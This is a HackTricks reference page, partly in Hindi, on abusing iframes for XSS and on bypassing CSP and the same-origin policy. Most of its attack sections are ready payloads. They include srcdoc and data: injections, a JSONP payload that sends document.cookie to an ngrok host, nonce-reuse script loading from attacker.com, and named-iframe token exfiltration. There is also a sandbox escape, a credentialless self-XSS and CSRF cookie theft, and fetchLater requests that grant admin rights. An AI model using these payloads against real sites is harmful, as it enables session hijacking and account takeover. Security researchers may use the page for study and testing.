Iframes in XSS, CSP and SOP
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।
Iframes in XSS
किसी iframe पेज की सामग्री बताए जाने के 3 तरीके हैं:
srcके जरिए एक URL बताना (URL cross origin या same origin हो सकता है)srcके जरिएdata:protocol का उपयोग करके सामग्री बतानाsrcdocके जरिए सामग्री बताना
Parent & Child vars तक पहुँच
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
अगर आप पिछले html को किसी http server (जैसे python3 -m http.server) के जरिए एक्सेस करते हैं तो आप देखेंगे कि सभी scripts execute हो जाएँगे (क्योंकि इसे रोकने वाला कोई CSP नहीं है)., parent किसी भी iframe के अंदर मौजूद secret var तक पहुँचने में सक्षम नहीं होगा और केवल iframes if2 & if3 (जो same-site माने जाते हैं) ही original window में secret तक पहुँच सकते हैं.
ध्यान दें कि if4 को null origin माना जाता है।
srcdoc से जुड़ी वह quirks जो real exploits में मायने रखती हैं
srcdoc के आसपास exploitation के दौरान दो बातें आसानी से छूट जाती हैं:
- जब तक frame को बिना
allow-same-originके sandboxed न किया गया हो, एकsrcdocdocument parent के साथ same-origin होता है। इसलिए,srcdocमें attacker-controlled HTML inject करना आम तौर पर उसे top document का direct DOM access देने के बराबर होता है। - हालांकि document URL
about:srcdocहै, relative URLs embedding page URL को base URL मानकर resolve होते हैं। इसका मतलब payloads जैसे<script src="/upload/payload.js"></script>या<img src="/internal/debug">parent origin को target करेंगे, न किabout:srcdoc।
व्यवहारिक payload:
<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>
This is specially useful when you only control markup but know a same-origin path that returns attacker-controlled JavaScript, JSONP, or HTML without a restrictive CSP.
CSP के साथ Iframes
Tip
कृपया ध्यान दें कि निम्नलिखित bypasses में iframed पेज के response में किसी भी ऐसे CSP header का अभाव होता है जो JS execution को रोकता हो।
The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
ध्यान दें कि पिछला CSP केवल inline script के निष्पादन की अनुमति देता है.
हालाँकि, केवल if1 और if2 स्क्रिप्ट निष्पादित होंगी लेकिन केवल if1 ही parent secret तक पहुँच पाएगी।
.png)
इसलिए, यदि आप सर्वर पर JS फ़ाइल अपलोड कर सकते हैं और उसे iframe के माध्यम से लोड कर सकते हैं तो आप CSP को bypass कर सकते हैं भले ही script-src 'none' हो।
यह संभावित रूप से same-site JSONP endpoint का दुरुपयोग करके भी किया जा सकता है।
आप इसे निम्न परिदृश्य से परखा सकते हैं जहाँ cookie चोरी हो जाती है भले ही script-src 'none' हो। बस एप्लिकेशन चलाएँ और अपने ब्राउज़र से इसे एक्सेस करें:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
नए (2023-2025) CSP bypass तकनीकें iframe के साथ
रिसर्च समुदाय iframe का दुरुपयोग करके प्रतिबंधात्मक नीतियों को मात देने के रचनात्मक तरीके लगातार खोज रहा है। नीचे आप पिछले कुछ वर्षों में प्रकाशित सबसे उल्लेखनीय तकनीकें पा सकते हैं:
- Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – जब कोई application HTML को reflect करती है लेकिन एक मजबूत CSP script execution को ब्लॉक करता है, तब भी आप संवेदनशील tokens को leak कर सकते हैं एक dangling
<iframe name>attribute inject करके। एक बार partial markup parse हो जाने पर, अलग origin में चल रहा attacker script frame कोabout:blankपर navigate कर देता है औरwindow.nameपढ़ता है, जिसमें अब अगले quote character तक की सारी जानकारी होती है (उदाहरण के लिए CSRF token). चूंकि victim context में कोई JavaScript नहीं चलता, यह attack आम तौर परscript-src 'none'से बच निकलता है। एक न्यूनतम PoC यह है:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
- Nonce reuse via same-origin iframe – CSP nonces DOM से same-origin documents द्वारा पढ़े जा सकते हैं। अगर एक attacker एक same-origin HTML पेज inject या upload करके उसे iframe में लोड कर सकता है, तो child frame
top.document.querySelector('[nonce]').nonceपढ़कर नए<script nonce>elements बना सकता है। यह एक same-origin HTML injection को पूर्ण script execution में बदल देता है यहाँ तक किstrict-dynamicके तहत भी (क्योंकि nonce पहले से trusted होता है)। निम्न gadget एक markup injection को XSS में escalate करता है:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Form-action hijacking (PortSwigger 2024) – यदि किसी पेज में
form-actiondirective नहीं है तो उसके login form को injected iframe या inline HTML से re-target किया जा सकता है, जिससे password managers credentials को auto-fill करके किसी external domain पर submit कर दें, यहाँ तक कि जबscript-src 'none'मौजूद हो। हमेशाdefault-srcके साथform-actionभी कॉन्प्लीमेंट करें!
रक्षात्मक नोट्स (त्वरित चेकलिस्ट)
- हमेशा उन सभी CSP निर्देशों को भेजें जो secondary contexts को नियंत्रित करते हैं (
form-action,frame-src,child-src,object-src, आदि)। - nonces को secret मानकर भरोसा न करें—
strict-dynamicका उपयोग करें और injection points को समाप्त करें। - जब आपको untrusted documents embed करने ही हों तो
sandbox="allow-scripts allow-same-origin"का उपयोग बहुत सावधानी से करें (या केवल script execution isolation चाहिए तोallow-same-originके बिना)। - defense-in-depth के लिए COOP+COEP deployment पर विचार करें; नया
<iframe credentialless>attribute (§ below) आपको third-party embeds तोड़े बिना ऐसा करने देता है।
Other Payloads found on the wild
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
आईफ़्रेम सैंडबॉक्स
iframe के भीतर का कंटेंट sandbox attribute के उपयोग से अतिरिक्त प्रतिबंधों के अधीन हो सकता है। डिफ़ॉल्ट रूप से यह attribute लागू नहीं होता, जिसका अर्थ है कि कोई प्रतिबंध लागू नहीं हैं।
जब उपयोग किया जाता है, तो sandbox attribute कई सीमाएँ लागू करता है:
- कंटेंट को ऐसे माना जाता है जैसे यह किसी अलग स्रोत से आया हो।
- फॉर्म सबमिट करने का कोई भी प्रयास अवरुद्ध कर दिया जाता है।
- स्क्रिप्ट्स का निष्पादन निषिद्ध है।
- कुछ API तक पहुँच निष्क्रिय कर दी जाती है।
- यह लिंक को अन्य ब्राउज़िंग संदर्भों के साथ इंटरैक्ट करने से रोकता है।
<embed>,<object>,<applet>या समान टैग्स के माध्यम से plugins का उपयोग निषिद्ध है।- कंटेंट को उसके टॉप-लेवल ब्राउज़िंग संदर्भ को नेविगेट करने से रोका जाता है।
- ऑटोमैटिक रूप से ट्रिगर होने वाली सुविधाएँ, जैसे वीडियो प्लेबैक या फॉर्म कंट्रोल्स का ऑटो-फोकस, ब्लॉक कर दी जाती हैं।
टिप: आधुनिक ब्राउज़र्स ग्रैन्यूलर फ्लैग्स सपोर्ट करते हैं जैसे allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, आदि। इन्हें संयोजित कर केवल उन न्यूनतम क्षमताओं की अनुमति दें जो एंबेडेड एप्लिकेशन को चाहिए।
इस attribute का मान खाली (sandbox="") छोड़कर ऊपर बताए गए सभी प्रतिबंध लागू किए जा सकते हैं। वैकल्पिक रूप से, इसे विशेष मानों की स्पेस-सेपरेटेड सूची के रूप में सेट किया जा सकता है जो iframe को कुछ प्रतिबंधों से मुक्त करती है।
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
यदि embedded पेज same-origin है और आप दोनों allow-scripts और allow-same-origin दे देते हैं, तो sandbox एक बहुत कमजोर सीमा बन जाता है। चाइल्ड JavaScript चला सकता है, top.document तक पहुँच सकता है, और अपने ही <iframe> एलिमेंट से sandbox attribute हटा भी सकता है:
const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"
व्यवहार में, sandbox="allow-scripts allow-same-origin" को हमलावर-प्रभावित same-origin सामग्री के लिए असुरक्षित माना जाना चाहिए। यह कुछ third-party embeds के लिए अभी भी उपयोगी है, लेकिन यह hostile same-origin HTML के खिलाफ एक isolation boundary नहीं है।
Credentialless iframes
जैसा कि this article में समझाया गया है, iframe में credentialless flag का उपयोग किसी पेज को iframe के अंदर लोड करने के लिए किया जाता है बिना request में credentials भेजे, जबकि iframe में लोड किए गए पेज की same origin policy (SOP) बनी रहती है।
चूँकि Chrome 110 (February 2023) से यह feature default रूप से enabled है और spec को ब्राउज़रों में anonymous iframe नाम के तहत standardize किया जा रहा है। MDN इसे वर्णित करता है: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. आक्रमणकर्ताओं और रक्षकों के लिए परिणाम:
- अलग-अलग credentialless iframes में scripts अभी भी same top-level origin साझा करते हैं और DOM के माध्यम से स्वतंत्र रूप से इंटरैक्ट कर सकते हैं, जिससे multi-iframe self-XSS attacks संभव होते हैं (नीचे PoC देखें)।
- क्योंकि नेटवर्क credential-stripped है, iframe के अंदर कोई भी request प्रभावी रूप से एक unauthenticated session जैसा व्यवहार करता है – CSRF protected endpoints सामान्यतः फेल होते हैं, लेकिन DOM के माध्यम से leakable public pages अभी भी दायरे में हैं।
- Storage को partitioned by a top-level document nonce किया जाता है: उसी पेज पर credentialless frames एक-दूसरे के साथ storage साझा कर सकते हैं, लेकिन जब top-level document discard किया जाता है तो वह clear कर दी जाती है।
- credentialless iframe से spawn होने वाले pop-ups को implicit
rel="noopener"मिल जाता है, जो कुछ OAuth flows को तोड़ देता है। - Browsers से उम्मीद की जाती है कि वे credentialless iframes के अंदर autofill/password managers को disable करें, जिससे इन contexts में autofill के जरिए credential theft सीमित होता है।
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Exploit example: Self-XSS + CSRF
इस हमले में, attacker एक दुष्ट वेबपेज तैयार करता है जिसमें 2 iframes होते हैं:
- An iframe that loads the victim’s page with the
credentiallessflag with a CSRF that triggers a XSS (उदाहरण के लिए user के username में Self-XSS की कल्पना करें):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Another iframe that actually has the user logged in (without the
credentiallessflag).
फिर, XSS से यह संभव है कि वे एक ही SOP होने के कारण दूसरे iframe तक access करें और cookie चुरा लें — उदाहरण के लिए execute करके:
alert(window.top[1].document.cookie);
fetchLater Attack
जैसा कि this article में संकेत किया गया है, API fetchLater允许 करता है कि एक request को बाद में execute करने के लिए configure किया जाए। इसे दुरुपयोग करके, उदाहरण के लिए, एक victim को attacker के session के अंदर login करवा सकते हैं (with Self-XSS), एक fetchLater request schedule कर सकते हैं (उदाहरण के लिए वर्तमान user का password बदलने के लिए), और फिर attacker के session से logout हो सकते हैं। जब victim अपने ही session में login करेगा, तो deferred request dispatch time पर उपलब्ध cookies का उपयोग करके execute हो सकता है, और victim का password attacker द्वारा सेट किए गए password में बदल सकता है।
ऑपरेशनल नोट्स:
fetchLaterने 2024 में Chrome origin trial में प्रवेश किया और Chrome 135 (April 2025) में ship हुआ, इसलिए इस पर निर्भर करने से पहले feature-detect करें।- Response JavaScript के लिए उपलब्ध नहीं है; body/headers को deferred request भेजे जाने के बाद ignore कर दिया जाता है।
- deferred requests के लिए CSP enforcement
connect-srcका उपयोग करता है (न किscript-src)। - Requests page unload पर फायर होते हैं या जब
activateAfterसमाप्त हो जाता है (जो भी पहले हो)। - एकल अधिकतम delay वर्तमान में
299000ms है, इसलिए लंबी प्रतीक्षा के लिए कई deferred requests को पुनः-निर्धारित करना पड़ता है।
इस तरह, भले ही victim URL को iframe में लोड नहीं किया जा सके (CSP या अन्य प्रतिबंधों के कारण), attacker फिर भी victim की session में एक request execute कर सकता है।
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})
Iframes in SOP
निम्नलिखित पृष्ठ देखें:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
संदर्भ
- PortSwigger Research – Using form hijacking to bypass CSP (March 2024)
- PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)
- Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)
- MDN – Window.fetchLater()
- MDN –
<iframe>element - MDN –
HTMLIFrameElement.srcdoc
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।


